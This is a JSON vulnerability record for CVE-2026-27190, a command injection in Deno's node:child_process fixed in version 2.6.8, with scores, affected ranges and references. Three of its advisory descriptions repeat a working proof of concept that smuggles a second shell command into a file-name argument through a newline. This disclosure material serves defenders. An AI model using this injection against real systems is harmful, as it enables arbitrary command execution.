{"id":"CVE-2026-27190","aliases":["EUVD-2026-7794","GHSA-hmh4-3xvx-q5hr","JLSEC-2026-116"],"status":"published","title":"Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0246,"percentile":0.84655,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-02-19T20:31:41Z","modified":"2026-10-28T02:30:35Z","fixes":[{"ecosystem":"crates.io","package":"deno","fixed_in":["2.6.8"],"sources":["ghsa","osv"]},{"ecosystem":"Julia","package":"Deno_jll","fixed_in":["2.6.10+0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"deno","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.8"}]}]},{"source":"osv","ecosystem":"crates.io","package":"deno","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.6.8"}]}]},{"source":"osv","ecosystem":"Julia","package":"Deno_jll","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.6.10+0"}]}]}],"products":[{"vendor":"deno","product":"deno"},{"vendor":"denoland","product":"deno"}],"references":[{"url":"https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/denoland/deno/releases/tag/v2.6.8","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27190","tags":["advisory","web"]},{"url":"https://github.com/advisories/GHSA-hmh4-3xvx-q5hr","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27190.json","tags":["advisory"]},{"url":"https://github.com/denoland/deno","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-27190","title":"Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.","status":"published","published":"2026-02-20T20:52:11.468Z","modified":"2026-02-24T18:30:43.652Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:19:49.199185Z"}],"euvd":[{"id":"EUVD-2026-7794","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.","status":"published","published":"2026-02-20T20:52:11Z","modified":"2026-02-24T18:30:43Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:48:29.958768Z"}],"ghsa":[{"id":"GHSA-hmh4-3xvx-q5hr","title":"Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process","description":"## Summary\nA command injection vulnerability exists in Deno's `node:child_process` implementation. \n\n## Reproduction\n```javascript\nimport { spawnSync } from \"node:child_process\";\nimport * as fs from \"node:fs\";\n\n// Cleanup\ntry { fs.unlinkSync('/tmp/rce_proof'); } catch {}\n\n// Create legitimate script\nfs.writeFileSync('/tmp/legitimate.ts', 'console.log(\"normal\");');\n\n// Malicious input with newline injection\nconst maliciousInput = `/tmp/legitimate.ts\\ntouch /tmp/rce_proof`;\n\n// Vulnerable pattern\nspawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {\n  shell: true,\n  encoding: 'utf-8'\n});\n\n// Verify\nconsole.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));\n```\n\nRun: `deno run --allow-all poc.mjs`\n\nThe file `/tmp/rce_proof` is created, confirming arbitrary command execution.\n\n## Mitigation\n\nAll users need to update to the patched version (Deno v2.6.8).","status":"published","published":"2026-02-19T20:31:41Z","modified":"2026-02-20T22:20:05Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:39:26.881079Z"}],"nvd":[{"id":"CVE-2026-27190","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.","status":"published","published":"2026-02-20T21:19:28.09Z","modified":"2026-06-17T10:26:49.147Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:06.63895Z"}],"osv":[{"id":"CVE-2026-27190","title":"Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.","status":"published","published":"2026-02-20T20:52:11.468Z","modified":"2026-10-28T02:30:35.201900211Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:44:59.80315Z"},{"id":"GHSA-hmh4-3xvx-q5hr","title":"Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process","description":"## Summary\nA command injection vulnerability exists in Deno's `node:child_process` implementation. \n\n## Reproduction\n```javascript\nimport { spawnSync } from \"node:child_process\";\nimport * as fs from \"node:fs\";\n\n// Cleanup\ntry { fs.unlinkSync('/tmp/rce_proof'); } catch {}\n\n// Create legitimate script\nfs.writeFileSync('/tmp/legitimate.ts', 'console.log(\"normal\");');\n\n// Malicious input with newline injection\nconst maliciousInput = `/tmp/legitimate.ts\\ntouch /tmp/rce_proof`;\n\n// Vulnerable pattern\nspawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {\n  shell: true,\n  encoding: 'utf-8'\n});\n\n// Verify\nconsole.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));\n```\n\nRun: `deno run --allow-all poc.mjs`\n\nThe file `/tmp/rce_proof` is created, confirming arbitrary command execution.\n\n## Mitigation\n\nAll users need to update to the patched version (Deno v2.6.8).","status":"published","published":"2026-02-19T20:31:41Z","modified":"2026-02-20T22:35:02.431472Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:49.28217Z"},{"id":"JLSEC-2026-116","title":"Deno has a Command Injection via Incomplete shell metacharacter blocklist in `node:child_process`","description":"## Summary\n\nA command injection vulnerability exists in Deno's `node:child_process` implementation.\n\n## Reproduction\n\n```javascript\nimport { spawnSync } from \"node:child_process\";\nimport * as fs from \"node:fs\";\n\n// Cleanup\ntry { fs.unlinkSync('/tmp/rce_proof'); } catch {}\n\n// Create legitimate script\nfs.writeFileSync('/tmp/legitimate.ts', 'console.log(\"normal\");');\n\n// Malicious input with newline injection\nconst maliciousInput = `/tmp/legitimate.ts\\ntouch /tmp/rce_proof`;\n\n// Vulnerable pattern\nspawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {\n  shell: true,\n  encoding: 'utf-8'\n});\n\n// Verify\nconsole.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));\n```\n\nRun: `deno run --allow-all poc.mjs`\n\nThe file `/tmp/rce_proof` is created, confirming arbitrary command execution.\n\n## Mitigation\n\nAll users need to update to the patched version (Deno v2.6.8).","status":"published","published":"2026-04-14T13:10:46.494Z","modified":"2026-07-25T18:23:55.223047747Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:47:18.159338Z"}]}}
